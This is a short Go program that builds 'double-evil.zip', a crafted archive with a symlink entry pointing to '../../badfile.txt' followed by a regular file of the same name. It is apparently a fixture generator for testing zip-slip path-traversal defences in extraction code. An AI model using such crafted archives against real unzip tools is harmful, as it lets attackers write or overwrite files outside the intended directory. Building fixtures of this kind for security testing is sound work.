75 lines
1.4 KiB
Go
75 lines
1.4 KiB
Go
package main
|
|
|
|
import (
|
|
"log"
|
|
"os"
|
|
"time"
|
|
|
|
"github.com/klauspost/compress/zip"
|
|
)
|
|
|
|
func main() {
|
|
// Create a buffer to write our archive to.
|
|
fw, err := os.Create("double-evil.zip")
|
|
if nil != err {
|
|
log.Fatal(err)
|
|
return
|
|
}
|
|
|
|
// Create a new zip archive.
|
|
w := zip.NewWriter(fw)
|
|
|
|
// Write the evil symlink
|
|
h := &zip.FileHeader{
|
|
Name: "bad/file.txt",
|
|
Method: zip.Deflate,
|
|
Modified: time.Now(),
|
|
}
|
|
h.SetMode(os.ModeSymlink)
|
|
header, err := w.CreateHeader(h)
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
// The evil symlink points outside of the target directory
|
|
_, err = header.Write([]byte("../../badfile.txt"))
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
|
|
// Write safe files to the archive.
|
|
var files = []struct {
|
|
Name, Body string
|
|
}{
|
|
{"goodfile.txt", "hello world"},
|
|
{"morefile.txt", "hello world"},
|
|
{"bad/file.txt", "Mwa-ha-ha"},
|
|
}
|
|
for _, file := range files {
|
|
h := &zip.FileHeader{
|
|
Name: file.Name,
|
|
Method: zip.Deflate,
|
|
Modified: time.Now(),
|
|
}
|
|
|
|
header, err := w.CreateHeader(h)
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
|
|
_, err = header.Write([]byte(file.Body))
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
}
|
|
|
|
// close the in-memory archive so that it writes trailing data
|
|
if err = w.Close(); err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
|
|
// close the on-disk archive so that it flushes all bytes
|
|
if err = fw.Close(); err != nil {
|
|
log.Fatal(err)
|
|
return
|
|
}
|
|
}
|